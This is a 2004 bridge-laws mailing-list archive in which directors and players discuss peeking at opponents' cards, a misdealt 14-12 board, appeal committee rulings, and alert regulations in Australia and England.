[blml] A player's view In-Reply-To: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> References: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> Message-ID: In article <001401c46bba$11a60ac0$6401a8c0@san.rr.com>, Marvin French writes > >> Richard Hills: >> >> The 1987 version of Law 74C5 reads, in part, >> "...(but it is appropriate to act on information >> acquired by inadvertently seeing an opponent's >> card)." > >Appropriate in rubber bridge, and perhaps knockout team play, but not >in other forms of the game. >> >> Due to this bracketed comment in Law 74C5, the >> rules of bridge, like the rules of basketball, >> give a competitive advantage to tall players. >> >Having just lost the 1975 National Mixed Team Championship to the very >tall Jim Linhart's team, John Crawford said to him, "If I were as tall >as you we would have won." I don't believe he was joking. My favourite peeking was a midnight zip in a sectional near Niagara. The final was played with one of the players having his girl friend sitting on his shoulders. "It lends a new meaning to gallery" he said. > >When an opponent is showing their cards, I let them and their partner >know. A common response is "Don't look!" That gets a TD call. > >Marv >Marvin L. French >San Diego, California > > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Sat Jul 17 13:47:37 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 17 Jul 2004 13:47:37 +0100 Subject: [blml] A player's view In-Reply-To: References: Message-ID: In article , Jaap van der Neut writes >Dear Richard, > >This is too much. > >> If the Director determines that a player has taken a >> successful anti-percentage line of play, and if the >> Director determines that that player could have seen >> an opponent's non-tabled card as the basis for that >> anti-percentage line of play, then the Director may >> award an adjusted score." > >You want to torture TD's or what. > >First everybody could have seen anyones card by definition. It is impossible >to defend against this type of 'could have' argument. > >Second, what the hell is an anti-percentage play for this purposes. Good >players plat anti-percentage all the time because bridge is more a game of >judgement rather than math. > >The law is just fine. In an information game like bridge players should be >responsible for concealing their cards. Just ask any poker player. If I'm playing against a peeker, I hide the Queen behind my other cards and let him look. When the finesse is wrongly taken I say "Bad view" :) > >Jaap > >----- Original Message ----- >From: >To: >Sent: Saturday, July 17, 2004 1:11 AM >Subject: Re: [blml] A player's view > > >> >> >> >> >> The Ten Commandments of Duplicate Contract Bridge >> (with thanks to Arthur Hugh Clough, 1819-1861): >> >> [snip] >> >> >>Thou shalt not peek; but need'st not try >> >>Officiously to move your eye: >> >> [snip] >> >> Grattan Endicott quotes Clough unamended: >> >> >+=+ "Say not the struggle naught availeth, >> > The labour and the wounds are vain, >> > The enemy faints not, nor faileth, >> > And as things have been, things remain." >> > ~ A.H.C. 1855 +=+ >> >> Richard Hills: >> >> The 1987 version of Law 74C5 reads, in part, >> "...(but it is appropriate to act on information >> acquired by inadvertently seeing an opponent's >> card)." >> >> Due to this bracketed comment in Law 74C5, the >> rules of bridge, like the rules of basketball, >> give a competitive advantage to tall players. >> >> {Declaration of personal interest -> I am six >> feet tall.} >> >> In my opinion, this competitive advantage to >> tall bridge players is undesirable. I do not >> believe that as things have been, things should >> remain. >> >> Rather, I suggest that in the 2006 edition of the >> Laws, the bracketed part of Law 74C5 should be >> abolished, and replace with a clause along these >> lines: >> >> "If an opponent inadvertently sloppily holds their >> cards so that a player might see one or more cards, >> then that player must: >> >> (a) carefully avert their gaze, and >> (b) advise the opponent that the opponent might >> want to hold their cards in a less visible fashion. >> >> If a player inadvertently sees an opponent's >> sloppily held card (or cards), the information from >> seeing that card is unauthorised information, with >> the consequence that that player may not take an >> anti-percentage line of play based upon seeing that >> card (or cards). >> >> If the Director determines that a player has taken a >> successful anti-percentage line of play, and if the >> Director determines that that player could have seen >> an opponent's non-tabled card as the basis for that >> anti-percentage line of play, then the Director may >> award an adjusted score." >> >> Best wishes >> >> RJH >> >> >> _______________________________________________ >> blml mailing list >> blml@rtflb.org >> http://www.amsterdamned.org/mailman/listinfo/blml > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From svenpran@online.no Sat Jul 17 14:39:44 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 17 Jul 2004 15:39:44 +0200 Subject: [blml] Revenge Mitchell in ACBLscore? In-Reply-To: <1090064651.6574.200545607@webmail.messagingengine.com> Message-ID: <000001c46c03$84f2c1a0$6900a8c0@WINXP> > David Babcock ........... > BTW--true story, so help me, from one of my games: Shuffle and deal. > I'm called about five minutes after the start. A table has finished a > board, with declarer discovering that he had started with 12 cards. LHO > has 14. OK, it's the first play; just shuffle and deal again. "But he > was down one!" says the 14-card holder. > > It may hardly need saying, but the table were all Life Masters. The relevant law is 13C - the board must be cancelled and the Director should consider awarding a procedural penalty. In this case I would have awarded both sides A- (The twelve-card holder was indeed down one - CARD!) Regards Sven From svenpran@online.no Sat Jul 17 14:52:36 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 17 Jul 2004 15:52:36 +0200 Subject: [blml] Revenge Mitchell in ACBLscore? In-Reply-To: <000001c46c03$84f2c1a0$6900a8c0@WINXP> Message-ID: <000101c46c05$51bf3be0$6900a8c0@WINXP> Sven Pran > > David Babcock > ........... > > BTW--true story, so help me, from one of my games: Shuffle and deal. > > I'm called about five minutes after the start. A table has finished = a > > board, with declarer discovering that he had started with 12 cards. = LHO > > has 14. OK, it's the first play; just shuffle and deal again. "But = he > > was down one!" says the 14-card holder. > > > > It may hardly need saying, but the table were all Life Masters. >=20 > The relevant law is 13C - the board must be cancelled and the Director > should consider awarding a procedural penalty. In this case I would = have > awarded both sides A- >=20 > (The twelve-card holder was indeed down one - CARD!) >=20 > Regards Sven So it was the first board after shuffle and deal? Then they must of = course shuffle and deal again. Did they have the time to play the re-dealt board in turn (not as a late play?). Let them, but I would still award them the PP. Beginners I would have let off the hook with a warning but masters? = Never. (Forgot this with my first post)=20 Sven From richard.hills@immi.gov.au Sun Jul 18 03:29:48 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sun, 18 Jul 2004 12:29:48 +1000 Subject: [blml] Reno NABC+ appeal number two Message-ID: John (MadDog) Probst advised: >As Grattan says: > >A half way competent TD will instruct the AC on his >ruling *and* on what points of law his ruling may be >varied. It is not sufficient for the AC to dislike >the TD and howl him down, they have to do so within >Law and the TD is the person who understands the law >and must advise them. [snip] >where I advise them it's illegal (a Reveley ruling >is a good example) will go away and consider >further. [snip] Richard Hills notes: I agree that MadDog is a competent English TD. And I agree that Laurie Kelso is a competent Australian TD. (In a case in which I was the appellant, Laurie Kelso competently took an interest in the AC decision, and directed the AC to reconsider a Reveley ruling.) But...... I have noticed, during my role as a panellist for casebooks, and during my role as an unofficial editor for unofficial casebooks, that many TDs are very significantly *less* than half way competent. There is no evidence that these TDs are aware of all of the intricacies of the Laws and the local regulations. Furthermore, there is *definite* evidence that these TDs have failed to review AC decisions for legality, as several obviously illegal AC decisions have been written up in these official and unofficial casebooks. Best wishes RJH From richard.hills@immi.gov.au Sun Jul 18 03:52:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sun, 18 Jul 2004 12:52:52 +1000 Subject: [blml] A player's view Message-ID: Jaap van der Neut: >One thing I have never understood. Some of the >supporters of this soft complex equity based >laws (one in particular comes to mind) are >also very strong on time issues (slow play >problems). If you make laws for simple >infractions ever more complex, it might >stimulate the number of TD calls, but for sure >the TD interventions will take more time >(especially equity checks take forever), which >(in the long run) is damaging operational >aspects of the game. Richard Hills: Thanks Jaap (and Sven). My proposed revision of the anti-peeking law was not initially intended as a joke, but I now realise that my proposed revision with be ridiculous, as the unintended consequences would overwhelm any laudable enforcement of bridge ethics. Only those Proprieties which have a "could have known" clause can be Lawfully enforced. All Proprieties which require the TD to determine deliberate naughtiness are Lawfully unenforceable, due to risks of defamation action against the TD and/or SO. That is why I (foolishly) suggested that a "could have seen" clause might be added to the anti-peeking Law. But Jaap (and Sven) rightly point out that the hassle of enforcing a "could have seen" anti- peeking Law would be more damaging to the game of bridge than the current laissez-faire anti- peeking Law. However, peekers can be dealt with socially, rather than Lawfully. I refused to partner a good player until he gave up peeking (which he now has done). And I also refused to stand for a minute's silence to honour the passing of a famous Australian international player, since that famous Australian player was a perpetually prolific peeker. Best wishes RJH From dpb3@fastmail.fm Sun Jul 18 13:31:43 2004 From: dpb3@fastmail.fm (David Babcock) Date: Sun, 18 Jul 2004 08:31:43 -0400 Subject: [blml] PP for not counting cards before looking at hand (was: Revenge Mitchell in ACBLscore?) In-Reply-To: <20040718100004.20353.8297.Mailman@toybox.amsterdamned.org> References: <20040718100004.20353.8297.Mailman@toybox.amsterdamned.org> Message-ID: <1090153903.19895.200579595@webmail.messagingengine.com> Hi all, [Sven] > Did they have the time to play the re-dealt board in turn (not as a late > play?). Let them, but I would still award them the PP. > > Beginners I would have let off the hook with a warning but masters? = > Never. At a tournament, certainly, but IMHO it is appropriate to keep things relaxed in a club setting (the screw-up having affected no one else), esp when this is a not a chronic-offender kind of thing. Besides, my mind at the moment was not on whether to assess a PP, but on how to keep from bursting out laughing. :-) David Florida USA From john@asimere.com Sun Jul 18 14:36:15 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 18 Jul 2004 14:36:15 +0100 Subject: [blml] Revenge Mitchell in ACBLscore? In-Reply-To: <000101c46c05$51bf3be0$6900a8c0@WINXP> References: <000001c46c03$84f2c1a0$6900a8c0@WINXP> <000101c46c05$51bf3be0$6900a8c0@WINXP> Message-ID: In article <000101c46c05$51bf3be0$6900a8c0@WINXP>, Sven Pran writes >Sven Pran >> > David Babcock >> ........... >> > BTW--true story, so help me, from one of my games: Shuffle and deal. >> > I'm called about five minutes after the start. A table has finished a >> > board, with declarer discovering that he had started with 12 cards. LHO >> > has 14. OK, it's the first play; just shuffle and deal again. "But he >> > was down one!" says the 14-card holder. >> > >> > It may hardly need saying, but the table were all Life Masters. >> >> The relevant law is 13C - the board must be cancelled and the Director >> should consider awarding a procedural penalty. In this case I would have >> awarded both sides A- >> >> (The twelve-card holder was indeed down one - CARD!) >> >> Regards Sven > >So it was the first board after shuffle and deal? Then they must of course >shuffle and deal again. > >Did they have the time to play the re-dealt board in turn (not as a late >play?). Let them, but I would still award them the PP. The best PP here is to announce to the section at large that a table of life masters has just shuffled dealt and played a 14-12. I'm all up for public humiliation, rather than matchpoint fines, for rank stupidity. Something on the lines of "Only in this club is it possible for 4 life masters to shuffle, deal and then play a hand with 14 cards in one and 12 in another". I'd also tell the players that any suggestion that they're going to get a bridge score will result in a penalty, as I don't have a copy of the 14-12 bridge laws. ... and finally I'd tell them to play the other board, shuffle the one they screwed up and let them play it if they have time. Oh and I *would* burst out laughing :) John > >Beginners I would have let off the hook with a warning but masters? Never. > >(Forgot this with my first post) > >Sven > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From svenpran@online.no Sun Jul 18 15:00:56 2004 From: svenpran@online.no (Sven Pran) Date: Sun, 18 Jul 2004 16:00:56 +0200 Subject: [blml] Revenge Mitchell in ACBLscore? In-Reply-To: Message-ID: <000201c46ccf$a60fa610$6900a8c0@WINXP> John (MadDog) Probst > >Sven Pran > >> > David Babcock > >> ........... > >> > BTW--true story, so help me, from one of my games: Shuffle and deal. > >> > I'm called about five minutes after the start. A table has finished > a > >> > board, with declarer discovering that he had started with 12 cards. > LHO > >> > has 14. OK, it's the first play; just shuffle and deal again. "But > he > >> > was down one!" says the 14-card holder. > >> > > >> > It may hardly need saying, but the table were all Life Masters. > >> > >> The relevant law is 13C - the board must be cancelled and the Director > >> should consider awarding a procedural penalty. In this case I would > have > >> awarded both sides A- > >> > >> (The twelve-card holder was indeed down one - CARD!) > >> > >> Regards Sven > > > >So it was the first board after shuffle and deal? Then they must of > course > >shuffle and deal again. > > > >Did they have the time to play the re-dealt board in turn (not as a late > >play?). Let them, but I would still award them the PP. > > The best PP here is to announce to the section at large that a table of > life masters has just shuffled dealt and played a 14-12. I'm all up for > public humiliation, rather than matchpoint fines, for rank stupidity. > > Something on the lines of "Only in this club is it possible for 4 life > masters to shuffle, deal and then play a hand with 14 cards in one and > 12 in another". I'd also tell the players that any suggestion that > they're going to get a bridge score will result in a penalty, as I don't > have a copy of the 14-12 bridge laws. ... and finally I'd tell them to > play the other board, shuffle the one they screwed up and let them play > it if they have time. > > Oh and I *would* burst out laughing :) John > > > >Beginners I would have let off the hook with a warning but masters? > Never. > > Yeah, And as David told me (us) this was a club evening and not a serious tournament I agree that just humiliating those players will probably be the most effective "PP". Regards Sven From swillner@cfa.harvard.edu Sun Jul 18 20:00:52 2004 From: swillner@cfa.harvard.edu (Steve Willner) Date: Sun, 18 Jul 2004 15:00:52 -0400 Subject: [blml] Reno NABC+ appeal number two In-Reply-To: <200407151604.i6FG4Wd7006741@cfa.harvard.edu> References: <200407151604.i6FG4Wd7006741@cfa.harvard.edu> Message-ID: <40FAC8E4.7060201@cfa.harvard.edu> > From: "grandeval" > As Director when they came to me after the round > I would have found it "difficult" to establish the facts in > such circumstances, and left NS to do any appealing > if they wished. As AC member I would have little > sympathy about NS not calling the Director to the table, > I would have thought about pairs who look for a way > of getting their score back from the Director or in the > committee room, and my answer to (3) above would > likely have favoured EW. I hope this is a minority view. While it may indeed be more difficult to establish the facts once time has elapsed, putting the word in quotes seems to imply putting artificial obstacles in the way of a fair ruling. That is surely no part of a Director's job. As to the AC, I fail to see why we should disadvantage players who before asking for a ruling take time to consider (or consult) as to whether they were damaged by illegal conduct. When I get a bad score, my first thought is to blame my own bad play, not to suspect my opponents of an infraction. On rare occasions there has been an infraction after all, but if I called the TD for every bad board I received, the TD wouldn't have time to do anything else. Taking time to consider shouldn't prejudice my right to a proper ruling. From TG0JLH1@wpo.cso.niu.edu Sun Jul 18 21:53:02 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Sun, 18 Jul 2004 15:53:02 -0500 Subject: [blml] Reno NABC+ appeal number two Message-ID: Hear, hear! Jim Hudson >>> Steve Willner 7/18/2004 2:00:52 PM While it may indeed be more difficult to establish the facts once time has elapsed, putting the word ['difficult'] in quotes seems to imply putting artificial obstacles in the way of a fair ruling. That is surely no part of a Director's job. As to the AC, I fail to see why we should disadvantage players who before asking for a ruling take time to consider (or consult) as to whether they were damaged by illegal conduct. . . . Taking time to consider shouldn't prejudice [one's] right to a proper ruling. From mfrench1@san.rr.com Sun Jul 18 22:33:57 2004 From: mfrench1@san.rr.com (Marvin French) Date: Sun, 18 Jul 2004 14:33:57 -0700 Subject: [blml] Reno NABC+ appeal number two References: <200407151604.i6FG4Wd7006741@cfa.harvard.edu> <40FAC8E4.7060201@cfa.harvard.edu> Message-ID: <002501c46d0e$efb4f4c0$6401a8c0@san.rr.com> From: "Steve Willner" >Taking time to > consider shouldn't prejudice my right to a proper ruling. And that principle should be included in the TFLB, since TDs and ACs have adopted such prejudice with no legal justification. This is another instance of possible bias, as the prejudicial concept is handy for lazy TDs/ACs who would rather not do the work of reaching a just ruling/decision. (Please note the restrictive clause, with no comma after "TD/ACs") Marv Marvin L. French San Diego, California From richard.hills@immi.gov.au Sun Jul 18 23:29:31 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 19 Jul 2004 08:29:31 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Appeal No 4: Is it unusually unusual? Tournament Director: Roland Bolton Appeals Committee: Jeremy Dhondy (Chairman) Steve Capal David Jones Swiss Pairs --- Dealer North KQ2 EW vulnerable AKJT853 JT7 QT632 AJ875 74 T65 7 962 AKQ64 85 K94 AJ983 Q4 932 WEST NORTH EAST SOUTH --- 1D Pass 1H 1NT 3D Pass 3NT Pass Pass Pass Result at table: 3NT -2 by South, NS -100 Director first called: At end of hand by South Director's statement of facts: South claimed damage because of failure to alert 1NT bid by West, which showed spades and clubs. North stated that had she known that West was showing 5/5 in spades and clubs she would not have passed 3NT. Director's ruling: Score assigned for both sides: 4H making by South, NS +420 Details of ruling: Misinformation. Laws 21B3 and 12C2. Appeal lodged by: East-West Basis of appeal: East does not play 1NT as showing a 5/5 hand. Appeals Committee decision: [deliberately snipped] Appeals Committee's comments: We accepted that E/W had different ideas of what 1NT was [remainder of Appeals Committee's comments deliberately snipped] As an English Appeals Committee, how should you rule? Best wishes Richard Hills From gesta@tiscali.co.uk Sun Jul 18 23:33:50 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sun, 18 Jul 2004 23:33:50 +0100 Subject: [blml] Reno NABC+ appeal number two References: <200407151604.i6FG4Wd7006741@cfa.harvard.edu> <40FAC8E4.7060201@cfa.harvard.edu> <002501c46d0e$efb4f4c0$6401a8c0@san.rr.com> Message-ID: <00d601c46d17$65b01350$79e0403e@multivisionoem> Grattan Endicott To: Sent: Sunday, July 18, 2004 10:33 PM Subject: Re: [blml] Reno NABC+ appeal number two > > From: "Steve Willner" > > >Taking time to > > consider shouldn't prejudice my right to a proper ruling. > > And that principle should be included in the TFLB, since TDs and ACs > have adopted such prejudice with no legal justification. > +=+ It could be a trifle futile to include in the laws a prohibition of something people 'don't do' anyway. And as for what the pair in question were up to, pull the other one. ~ G ~ +=+ From cibor@poczta.fm Mon Jul 19 00:02:35 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Mon, 19 Jul 2004 01:02:35 +0200 Subject: [blml] A player's view References: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> Message-ID: <001201c46d1b$527461c0$404f1d53@kocurzak> ----- Original Message -----=20 From: "Marvin French" To: Sent: Saturday, July 17, 2004 6:53 AM Subject: Re: [blml] A player's view > > > Richard Hills: > > > > The 1987 version of Law 74C5 reads, in part, > > "...(but it is appropriate to act on information > > acquired by inadvertently seeing an opponent's > > card)." > > Appropriate in rubber bridge, and perhaps knockout team play, but not > in other forms of the game. Why not? Konrad Ciborowski Krak=F3w, Poland From richard.hills@immi.gov.au Mon Jul 19 00:18:05 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 19 Jul 2004 09:18:05 +1000 Subject: [blml] Undiscussed alerts & anti-systemic alerts Message-ID: Email to "Dear Director" on the ABF website: >>Despite a recent revision, the ABF Alert Regulations are >>slightly ambiguous in this area. However, I interpret >>the ABF Alert Regulations as follows: >> >>(a) A call which is undiscussed should *not* be alerted. >> (With the usual caveat on the requirement to alert >> *implicit* agreements.) >> >>(b) A call which is anti-systemic *must* be alerted. >> >>Dear Director, do you agree? >> >>Best wishes >> >>Richard Hills Semi-official response from the Australian Bridge Directors Association, written by New South Wales CTD, Matthew McManus: >Dear Richard, > >a) If you are certain that your partnership has no >agreement, then I agree that there is nothing to alert. >However, if it possible that there has been some discussion >or previous experience to create an implicit agreement, then >the player has the responsibility to alert and to call the >director if an enquiry is made (ABF Alert Regulations #7.7) > >b) Agreed. By anti-systemic, I assume you mean, for example, >where a player passes when his partner was expecting a bid, >or, where a player makes a response to a relay bid which is >beyond the normal expected range of calls in the >partnership. A bid which one player knows is anti-systemic, >but only because of what he himself holds is not alertable >(eg. holding 3 aces yourself and partner showing 3). >However, if partner makes an anti-systemic bid, but you can >work out his likely holding because he has made a similar >mistake in the past, then this does need to be alerted. This >would come under the category of implicit agreements - or >perhaps to be more precise, "implicit non-agreements". >:) > > >Hope this helps. Let me know if you would like anything more. > >Best wishes > >Matthew McManus >For the Australian Bridge Directors Association (ABDA) Richard Hills notes: This semi-official Aussie ruling is of course only relevant to the Aussie alert regs. However, in the parallel thread "2003 EBU casebook, appeal 4", a key issue is whether or not Pommy alert regs require undiscussed calls to be alerted. As in Oz, it is slightly ambiguous whether or not Poms must alert undiscussed calls. Best wishes RJH From john@asimere.com Mon Jul 19 00:22:21 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 19 Jul 2004 00:22:21 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > > > >Appeal No 4: Is it unusually unusual? > > >Tournament Director: >Roland Bolton > >Appeals Committee: >Jeremy Dhondy (Chairman) Steve Capal David Jones > >Swiss Pairs --- >Dealer North KQ2 >EW vulnerable AKJT853 > JT7 >QT632 AJ875 >74 T65 >7 962 >AKQ64 85 > K94 > AJ983 > Q4 > 932 > >WEST NORTH EAST SOUTH >--- 1D Pass 1H >1NT 3D Pass 3NT >Pass Pass Pass > > >Result at table: >3NT -2 by South, NS -100 > >Director first called: >At end of hand by South > >Director's statement of facts: >South claimed damage because of failure to alert 1NT bid >by West, which showed spades and clubs. > >North stated that had she known that West was showing 5/5 >in spades and clubs she would not have passed 3NT. > >Director's ruling: >Score assigned for both sides: > 4H making by South, NS +420 > >Details of ruling: >Misinformation. Laws 21B3 and 12C2. > >Appeal lodged by: >East-West > >Basis of appeal: >East does not play 1NT as showing a 5/5 hand. > >Appeals Committee decision: > >[deliberately snipped] > >Appeals Committee's comments: >We accepted that E/W had different ideas of what 1NT was > >[remainder of Appeals Committee's comments deliberately >snipped] > >As an English Appeals Committee, how should you rule? This one is pretty clear. If they can show 1N is *not* the blacks then result stands, and they'll need to have it on their cc's, or have very good arguments. 1NT is often Nat here btw in this auction. It will be unlikely they can prove it, so I would adjust most of the time. I don't think there'd be *any* (for *any* read well not much) argument amongst the English ACs or TDs about this. Nailing oppo with a screwed up 5-5 agreement just gets you a bad score - every time. john > >Best wishes > >Richard Hills > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Mon Jul 19 00:45:35 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 19 Jul 2004 00:45:35 +0100 Subject: [blml] Undiscussed alerts & anti-systemic alerts In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > > > >Email to "Dear Director" on the ABF website: > >>>Despite a recent revision, the ABF Alert Regulations are >>>slightly ambiguous in this area. However, I interpret >>>the ABF Alert Regulations as follows: >>> >>>(a) A call which is undiscussed should *not* be alerted. >>> (With the usual caveat on the requirement to alert >>> *implicit* agreements.) >>> >>>(b) A call which is anti-systemic *must* be alerted. >>> >>>Dear Director, do you agree? >>> >>>Best wishes >>> >>>Richard Hills > >Semi-official response from the Australian Bridge Directors >Association, written by New South Wales CTD, Matthew McManus: > >>Dear Richard, >> >>a) If you are certain that your partnership has no >>agreement, then I agree that there is nothing to alert. >>However, if it possible that there has been some discussion >>or previous experience to create an implicit agreement, then >>the player has the responsibility to alert and to call the >>director if an enquiry is made (ABF Alert Regulations #7.7) >> >>b) Agreed. By anti-systemic, I assume you mean, for example, >>where a player passes when his partner was expecting a bid, >>or, where a player makes a response to a relay bid which is >>beyond the normal expected range of calls in the >>partnership. A bid which one player knows is anti-systemic, >>but only because of what he himself holds is not alertable >>(eg. holding 3 aces yourself and partner showing 3). >>However, if partner makes an anti-systemic bid, but you can >>work out his likely holding because he has made a similar >>mistake in the past, then this does need to be alerted. This >>would come under the category of implicit agreements - or >>perhaps to be more precise, "implicit non-agreements". OB - section on alerts 5.1.4 Alert any call of your partner which you believe to be alertable even if you cannot explain its meaning. 5.1.5 When there is no alert, your opponents can assume that the call does not fall within an alertable category. So, further to my comments elsewhere: 5.1.4 tells me to alert unless I know 1NT is natural. 5.1.5 tells me I'm about to get screwed if 1NT is not natural. >>:) >> >> >>Hope this helps. Let me know if you would like anything more. >> >>Best wishes >> >>Matthew McManus >>For the Australian Bridge Directors Association (ABDA) > >Richard Hills notes: > >This semi-official Aussie ruling is of course only relevant to >the Aussie alert regs. However, in the parallel thread "2003 >EBU casebook, appeal 4", a key issue is whether or not Pommy >alert regs require undiscussed calls to be alerted. As in Oz, >it is slightly ambiguous whether or not Poms must alert >undiscussed calls. > >Best wishes > >RJH > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ereppert@rochester.rr.com Mon Jul 19 01:03:56 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 18 Jul 2004 20:03:56 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <20C6FC36-D917-11D8-ACE8-0030656F6826@rochester.rr.com> On Sunday, Jul 18, 2004, at 18:29 US/Eastern, richard.hills@immi.gov.au wrote: > Basis of appeal: > East does not play 1NT as showing a 5/5 hand. Not much of a basis, IMO. > As an English Appeals Committee, how should you rule? I should like to see the pair's convention cards, if any, and find out what agreements/experience they each have with the Unusual NT convention. If the previously presented evidence is all there is, then I would not change the TD's ruling. From bbickford@charter.net Mon Jul 19 01:26:14 2004 From: bbickford@charter.net (Bill Bickford) Date: Sun, 18 Jul 2004 20:26:14 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 References: <20C6FC36-D917-11D8-ACE8-0030656F6826@rochester.rr.com> Message-ID: <002001c46d27$01ce83c0$c9eec418@D2GX7R11> ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Sunday, July 18, 2004 8:03 PM Subject: Re: [blml] 2003 EBU casebook, appeal 4 > > On Sunday, Jul 18, 2004, at 18:29 US/Eastern, richard.hills@immi.gov.au > wrote: > > > Basis of appeal: > > East does not play 1NT as showing a 5/5 hand. > > Not much of a basis, IMO. > > > As an English Appeals Committee, how should you rule? > > I should like to see the pair's convention cards, if any, and find out > what agreements/experience they each have with the Unusual NT > convention. > > If the previously presented evidence is all there is, then I would not > change the TD's ruling. > > > _ This is interesting. I would have thought that a NT overcall as a passed hand is always unusual and would assume so in an undiscussed with partner situation. I see no point of playing it any other way. Cheers................................./Bill Bickford > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From toddz@att.net Mon Jul 19 01:37:40 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Sun, 18 Jul 2004 20:37:40 -0400 Subject: [blml] A player's view In-Reply-To: <001201c46d1b$527461c0$404f1d53@kocurzak> References: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> <001201c46d1b$527461c0$404f1d53@kocurzak> Message-ID: <6.0.1.1.1.20040718202651.01bc5ec0@postoffice.worldnet.att.net> At 07:02 PM 7/18/2004, Konrad Ciborowski wrote: > ----- Original Message ----- > From: "Marvin French" > > > Richard Hills: > > > The 1987 version of Law 74C5 reads, in part, > > > "...(but it is appropriate to act on information > > > acquired by inadvertently seeing an opponent's > > > card)." > > > > Appropriate in rubber bridge, and perhaps knockout team play, but > > not in other forms of the game. > > Why not? Because of whose scores are affected. In rubber and KO play, the scores affected are only relevant to the players at the table. In a two-winner pairs game, your opponents have given you an advantage over the pairs you compare against. This advantage may not be shared by all pairs. Not saying I agree. -Todd From richard.hills@immi.gov.au Mon Jul 19 01:39:01 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 19 Jul 2004 10:39:01 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Richard Hills initially: >>Basis of appeal: >>East does not play 1NT as showing a 5/5 hand. Ed Reppert: >Not much of a basis, IMO. Richard Hills currently: In my opinion, that is very much a basis, and is highly congruent with the footnote to Law 75: "the mistake was in South's bid. Here there is no infraction of Law, since East-West did receive an accurate description of the North- South agreement; they have no claim to an accurate description of the North-South hands." Richard Hills initially: >>As an English Appeals Committee, how should >>you rule? Ed Reppert: >I should like to see the pair's convention >cards, if any, and find out what agreements/ >experience they each have with the Unusual NT >convention. > >If the previously presented evidence is all >there is, then I would not change the TD's >ruling. Richard Hills currently: Ed overlooked the actual AC's actual assessment of fact -> "We accepted that E/W had different ideas of what 1NT was" Given that AC assessment of fact, as an English Appeals Committee how *should* (not how would) you rule? Best wishes RJH From toddz@att.net Mon Jul 19 01:44:36 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Sun, 18 Jul 2004 20:44:36 -0400 Subject: [blml] Reno regional appeal number four In-Reply-To: <000201c46b87$8f600c50$6900a8c0@WINXP> References: <6.0.1.1.1.20040716180102.01bc3ec0@postoffice.worldnet.att.net> <000201c46b87$8f600c50$6900a8c0@WINXP> Message-ID: <6.0.1.1.1.20040718203840.01b7eec0@postoffice.worldnet.att.net> At 06:52 PM 7/16/2004, Sven Pran wrote: > > Alas, no. You make it sound like a justification for what > > happened rather than further evidence that something is wrong with > > the system. > > I have no problem with this, and I certainly do not see it as evidence > that something is wrong with the system. I have phrased myself remarkably poorly, for which I apologize. Yes, a function of the AC is to provide judgemental oversight for the director. The fact it's used is evidence that something was wrong with the ruling -- either the TD's, the AC's, or judging by many casebook comments, both. I probably misread you as well as misphrased myself. I read you to mean that since it's commonplace for the TD and AC to disagree that it's somehow unremarkable. I see it as evidence of a problem. Why didn't they both reach the same decision? -Todd From richard.hills@immi.gov.au Mon Jul 19 02:16:53 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 19 Jul 2004 11:16:53 +1000 Subject: [blml] AC performance (was Reno ... four) 